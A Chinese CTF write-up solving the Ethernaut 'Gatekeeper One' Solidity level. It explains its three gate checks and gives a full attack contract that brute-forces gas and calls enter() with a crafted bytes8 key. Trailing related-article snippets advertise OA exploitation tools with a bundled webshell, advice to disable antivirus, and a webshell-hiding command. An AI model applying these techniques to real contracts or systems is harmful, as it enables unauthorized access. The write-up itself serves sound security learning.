Ethernaut靶场-Gatekeeper One

VSole2023-05-12 13:50:00

Gatekeeper One

题目

目标:修改entrant,即:成功调用enter(bytes8 _gateKey)

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
contract GatekeeperOne {
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }
  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

分析

本道题要我们成功调用enter(bytes8 _gateKey),那么就需要通过三个修饰器gateOnegateTwogateThree(_gateKey)的检验。

gateOne

modifier gateOne() {

    require(msg.sender != tx.origin);
    _;
  }

这里需要我们理解msg.sender和tx.origin的区别,参考文章。意思是要求:我们不可以直接调用,需要写一个合约进行调用

gateTwo

modifier gateTwo() {

   require(gasleft() % 8191 == 0);
   _;
 }

gasleft():是solidity的内置方法,方法返回此次交易我们还剩余多少gas。returns (uint256)

意思是,当程序执行到require(gasleft() % 8191 == 0)这一步时,交易所剩的gas取模8191的值为0,那么我们有两个思路来通过这个修饰器:暴力尝试和通过debug来查看gas消耗情况

暴力尝试

gas的剩余量取模8191的结果为0,那么暴力尝试的可能性就只有8191种,那么我们可以做一个循环,从0gas开始到8191gas进行调用方法,总有一次可以通过此修饰器,很有意思的是,网络上有大佬优化了这个暴力尝试的过程(attack方法是网上大佬的思路,attack_是真正的暴力破解)

【网络版本】

// 为什么这么写呢?因为有玩家通过测试,本关这里的gas大概在210次
// 然后他取了一个缓冲值60上下浮动,即:210加减60=>150~270
// 那么,他就打算从gas=150开始循环
// 最多到270次就收手,这就是120的由来:270-150=120
for (uint256 i = 0; i < 120; i++) {
          (bool result,) = address(gatekeeperOne).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
          if (result) {
              break;
          }
      }

【未知情况,真正暴力破解版本】

for (uint256 i = 0; i < 8191; i++) {
          // 乘3原因:气体最低限制21000,低于这个值就很可能call调用失败。因此*3就大于21000,你可以乘任何>=3的值
          // i从0开始,不断尝试,理论上最多有8191种可能,肯定能试出来。
          // 一旦试出来,result返回true,就可以退出循环了
          (bool result,) = address(gatekeeperOne).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
          if (result) {
              break;
          }
      }

debug查看

目的是通过require(gasleft() % 8191 == 0);的检验,那么我们可以debug到gasleft()操作码,它的操作码是GAS,GAS执行完之后剩余的gas就是 X % 8191 的值X。我们的需求就是X是8191的倍数。

solidity代码和交易中,执行同一个方法,操作码是不变的,那么我们代码执行到GAS操作码所消耗的gas就是定值。我们可以把这个定值找出来,然后加上8191的倍数,就可以通过此处的检验。

所以我们先设置一个较大的gas执行,看看执行到GAS操作码之后,消耗了多少gas

但是遇到了问题,我的remix页面debug不到GAS操作码。原因:remix需要Ethersccan测试网的API,且追踪一个已经验证的合约,才可以进入debug。如下图设置一下:

【1】gas设置为100000

71874=8191*8+6346

100000-6346=93654

65627=8191*8+99

93654-99=93555

65529=8191*8+1

93555-1=93554

通过

奇怪的是:我的代码从始至终都没有变,gas设置为100000。然后交易的时候gas设置为100000=>93654=>93555=>93544。最终在93544成功。我保证我每一次计算都是正确的,然而每次发送交易的时候,执行到GAS操作码的时候remain gas的值都会变化。只有93555=>93544的时候固定消耗gas才保持不变。

因此,我认为,就算同一个代码,发送交易的时候设置的gas不一致,那么程序执行的时候操作码消耗的gas也会产生变化?只有一些特定的不同gas值才会消耗相同的gas。即:gas上限的设置也会影响操作码的gas消耗,只是有些时候比较幸运不会产生变化【就比如本题的93555和93554固定消耗gas相同,而100000、93654、93555他们三者不同的gas上限设置也会导致固定消耗不同】

因此,我推断:交易的时候gas上限的设置也会影响实际gas的消耗情况,只是这个情况比较特殊,而有些gas就不会影响gas消耗。而这个特殊的情况就是我们本题需要找的值

而且,在call语句设置的gas似乎是没用的,程序只看交易的时候设置的gas上限。本题我的代码的call的gas一直是100000,然后交易的时候,gas交易上限不断改变,到了GAS操作码的时候remain gas也会产生变化

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
我对这个原因和原理很不满意,因此进一步进行探究,因为篇幅问题,我写在了另外的文章里面,见“11.GAS操作码初探 ”
同时也录制了一个debug解题的视频,里面阐述了做题过程和疑问

gateThree(_gateKey)

想要通过这个修饰器检验,我们得先了解一下solidity中类型截断、保留、补位的规则,见文章

modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

空讲很难理解,用一个例子来解释吧。传入的是bytes8,那么就假如传入的是:0x11112222aaaabbbb

  1. 第一个require:uint32(uint64(_gateKey))从低位截取,变成0xaaaabbbb。uint16(uint64(_gateKey))从低位截取,变成0xbbbb。根据solidity的规则,uint32和uint16在比较的时候,较小的类型uint16会在高位补0至位数和较大类型uint32一致,即:0x0000bbbb和0xaaaabbbb比较。因此,我们的参数_gateKey得是一个xxxxxxxx0000xxxx类型的数值。
  2. 第二个require:uint64(_gateKey)是保留所有位,而uint32(uint64(_gateKey))保留低32位。两者低32位是一模一样的,要通过require,则需要高32位任意一位不一致即可,因为uint32(uint64(_gateKey))高32位全部为0,那么我们传入的参数高32位至少需要一位数不为0。因此,我们的参数_gateKey可以是一个FFFFFFFF0000xxxx类型的数值。
  3. 第三个require:目前我们确定参数_gateKey可以是一个FFFFFFFF0000xxxx类型的数值。那么uint32(uint64(_gateKey))之后的结果就是0000xxxx。uint16(uint160(tx.origin))是对钱包地址进行操作,数值类型从低位开始截取,即uint16(uint160(tx.origin))的结果是我们钱包地址的后16位,就是后面4个数,对于我来说为97c6。那么这个_gateKey就确定下来了,可以为:FFFFFFFF000097c6。(前8个F是可变的,0000是雷打不动的,97c6根据自己的钱包而定)

攻击合约

contract Hack{
  GatekeeperOne gatekeeperOne = GatekeeperOne(0x133636510C89C2075813d4Aba991A44B5A85aA97);
  function attack() public {
    bytes8 key = 0xFFFFFFFF000097c6;
      // 网络版本
      // 为什么这么写呢?因为有玩家通过测试,本关这里的gas的i大概在210次
      // 然后他取了一个缓冲值60上下浮动,即:210加减60=>150~270
      // 那么,他就打算从gas=150开始循环
      // 最多到270次就收手,这就是120的由来:270-150=120
      for (uint256 i = 0; i < 120; i++) {
          (bool result,) = address(gatekeeperOne).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
          if (result) {
              break;
          }
      }
  }
  function attack_() public {
    bytes8 key = 0xFFFFFFFF000097c6;
      //未知版本
      for (uint256 i = 0; i < 8191; i++) {
          // 乘3原因:气体最低21000,低于这个值就很可能call调用失败。因此*3就大于21000,你可以乘任何>=3的值
          // i从0开始,不断尝试,理论上最多有8191种可能,肯定能试出来。
          // 一旦试出来,result返回true,就可以退出循环了
          (bool result,) = address(gatekeeperOne).call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
          if (result) {
              break;
          }
      }
  }
}

做题

两次获取题目,attack和attack_都试一次,看看是不是都可以暴力破解。答案:都成功

通过

require
本作品采用《CC 协议》,转载必须注明作者和本文链接
作者:西瓜麻辣烫项目地址:https://github.com/LittleBear4/OA-EXPTOOL用法第一次使用脚本请运行pip3 install -r requirements.txt然后使用show查看命令合集主要针对的是OA产品的漏洞检测产生的攻击行为和后果与本人无关本工具无毒无后门,因为含有冰蝎木马文件原因请下载时关闭防护软件存在问题请联系我本人第一款工具,因为有很多不完善的地方
备份输入密码:a把新备份证书导入burp 就可以了,这个时候输入密码a就可以成功导入客户端证书了注意事项:如果在user options 配置了证书,记得不要勾选project options 的Client SSL Certificates 的override user options此时就可以访问之前400的网页了,此时不再是400了。
Gatekeeper One题目目标:修改entrant,即:成功调用enter// SPDX-License-Identifier: MITpragma solidity ^0.8.0;debug查看目的是通过require;的检验,那么我们可以debug到gasleft()操作码,它的操作码是GAS,GAS执行完之后剩余的gas就是?所以我们先设置一个较大的gas执行,看看执行到GAS操作码之后,消耗了多少gas但是遇到了问题,我的remix页面debug不到GAS操作码。只有93555=>93544的时候固定消耗gas才保持不变。只有一些特定的不同gas值才会消耗相同的gas。
0x01 工具介绍OA综合利用工具,集合将近20款OA漏洞批量扫描,本工具无毒无后门,因为含有冰蝎木马文件原因请下载时关闭防护软件。0x02 安装与使用1、安装所需库文件pip install requirements.txt
这是一款线上工具箱,收集整理了一些渗透测试过程中常见的需求
Finger支持的URL格式有:www.baidu.com?但是前两种不推荐使用Finger会在URL处理阶段自动为其添加http://和https://Finger支持的IP格式有单个IP格式192.168.10.1,IP段192.168.10.1/24,某一小段IP192..168.10.10-192.168.10.50满足日常使用的所有需求。Finger会首先通过Fofa采集IP的web资产,然后对其进行存活探测以及系统指纹探测。0x03 配置说明默认线程数为30实际需要修改可以在config/config.py中进行修改,调用api查询功能需要从配置文件修改为自已对应的 api信息。# 设置线程数,默认30
将 payload 放在 -pf 所指定的路径二、hide webshellpython hide_webshell.py hide_webshell.py normal.php -pf payload.txt. uid=502 gid=20 groups=20,12, ...此处省略
说明1.漏洞poc来自开源项目AngelSword,共320个,在此表示感谢2.本工具仅限于进行漏洞验证,如若因此引起相关法律问题,概不负责。
准备 环境 linux or mac(windows不支持)python version >= 3.7 地址 https://github.com/Aabyss-Team/awsKeyTools
VSole
网络安全专家